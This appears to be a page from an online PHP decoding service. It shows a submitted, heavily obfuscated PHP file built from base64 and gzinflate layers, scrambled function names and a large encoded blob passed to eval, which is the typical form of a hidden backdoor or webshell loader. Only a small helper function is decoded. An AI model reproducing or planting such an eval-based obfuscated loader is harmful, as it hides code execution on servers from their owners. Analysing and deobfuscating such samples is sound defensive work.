Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download


function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LdK1Du
xYAgTQn1lpZuTATNrI0GbGdicrM/ua6evnBZtUVt
JRqcozHf7+j20jCPL/+DtLt5Ii/leUOSjKv/8yfj
4qHo/OhR6s7TodPbQ5C600FqUZxAE2ziPkDEc/xl
QKyCGYxgkmUWgUQsWFIcsZRmKoKwzXHXvWHZgBT3
48DeZek1uZ/PRRg3JQRCXGgmcxvGFAqNeWMpbFI7
JudgGSlEDViO7LPadKfAghYyRPb6fgfNSdGyKvcc
sVbHy7Gyq7Glvd4y/agwFmUlKlA70j+EwPR36479
m90q0/onGzkd/lj9aF5hWH6nerg8hKlrm5zeUWnB
+ziuI2XW70YANkeQ300vdEPcRq/WprClvlWHIdWH
QeuOmHximBBOeQC9Agru+XBoyr276cYt+Z3D68w6
frTxZgz91tDI+WUcaTt9k9SwnWHpZZjGN5jc6PZk
W43xcIC/mSBADyvMYoKK0bKCs+e+4TdAIjClIDxw
J+xKbGDYO+SDC0s/vomu8eibvAYH4NNQ/Wi4S0Nb
xOce1M5f7UsM3n+GgezpiBG8nAuPpq2sth2MvWY9
EyQP20exQ+Nt8R6iu8D6G3CaO1LMQDWyX87GsVB7
t/euVs1Otln3u9p9XBI1b4kfUGtdzFGTBjy3NP/f
HMRy27uajYjr/4kTLfhjbiR4ueSm3ptMlqVsmjWO
6HR2igGu5khRA5v32CcxpU/UpLMpqykR3Dptsg9N
ATDlrfQvH8+v58i6/RssOBWsFG6WPeoVX+ttxMNk
GzIDJ+f3vCo7WHepUxA+EVo28cTIWsbblyqdLJT8
p16UcKSX9OMVtDmml6+P5xsSHKiBu5dxsdnJ90J5
RDPwNM4d4hfdblQL/NcsfkpIgvdmeelgp27zHsVz
xy/jb72tVVtnAjsqQUpuMYdb/i/NHIxlZVc1cMPh
4u22p+tQvRRff61ZLPtVXVJtVOlU8uU4zN+qFwnh
/+1KzKpMSrYVezrvJs84jItOeCEWANREzlo+FEGB
688B7vUcM3LTQ0TtuQt+EoO5xQemwvCSYitFQaA0
Eh8KTp+W+ILUdpfbXzDN9GOYVesApiqJhdEmoqs0
Tj3UQyCnlkXDncurUpkYYsfWvqAUaT7Mla5KIFGQ
rLAz65KECJi3Tn3nlbNe3dc4ncmirtXCtcnmWn6/
cVzjfMLAtMDu/EFIVRdnz7ESdRIVvjOkFNNiKI3w
7WB4Bnka56dvLFP5oSd+0Gn99q02Mvscrugeowf6
aj1ul0lquUE085lBlLaNgbuBS7TgQwYwPjJ6FujQ
jHzcj1BSIGuKN4mmY7nta97JysnVaIUAgeshXsDB
fCqVbQIf7BqS57xZEImFW031ByVgrshQQa6CNOre
dKCGP8XgfVTswRrfQWOyhwLelM0ar+ROKh80QnEn
ZTY1+yM9oI1L+IIs83EYWPnpnFlh4MgoJQBzwsAP
lECGm5FkjrYtbcc8SO++UIpte1YFgw0inEQRM9yH
P94RB8OfnaoNLIqE2U+uUi1e7vcigTZxMkKgmSrf
4DSrvh8S/0ra1QQt8V/7O7Bo4uDHwTJvjiAgRJNa
515MYgseKeHwk+wAbwRxVlKpQPe9s2RmkN7HfUBN
P6+Ss4BjPL/lRhhXLLxsitKZi8cFF6pHp02iNdQa
q4VCqbpUoLFlkzBpm8zTZbGYeySfksnTBoHOvOll
eYLKZ809uKfPgbwNQVNmxyCRnr/LD4WwnSm0uvI5
dFqjzPh7YsjNIy/EH72SbnZF61H93HpU6pN2m+xS
vkWBxXvrzJIsJtVIaUMhqy5iuatrqRJenXTx+o0n
0anrXTUvsdOy980eBWLlcpUE7DSPe4TP96IXAFDh
nsVnNPPepTXtsK3GDySa+kNi1gPV7QvzNr8HBHmA
xTBe++P+K9+sIpm7B19WhBs0IOqID7EZ4T9sHMXv
3zwYp+RFMUnTlPGQP0B4WZanwrZ876rvmonO+RE9
d+VdtdQqs2tJR/EwvmFVIKK0AT6YnDs5um+uG2qy
K7J8SFDQHvi7WjEtiV1L/V26917hFNSn7xIs+COb
Hz1RUzCNJ8PWMX0wOcgah7rvh2jWO1eApoFPv2uq
AYQlsa6QGQUajG1IuGxI3EuLyArUtLNw4MM3B14j
jMiH/9888///0X')));
?>

Function Calls

gzinflate 1
base64_decode 2
function_exists 1
11411111610111099111100101 1

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp
$O0O0O0O0O0O0 11411111610111099111100101

Stats

MD5 3372a1c4ce7d3ad9c55df2c39e60ec00
Eval Count 1
Decode Time 104 ms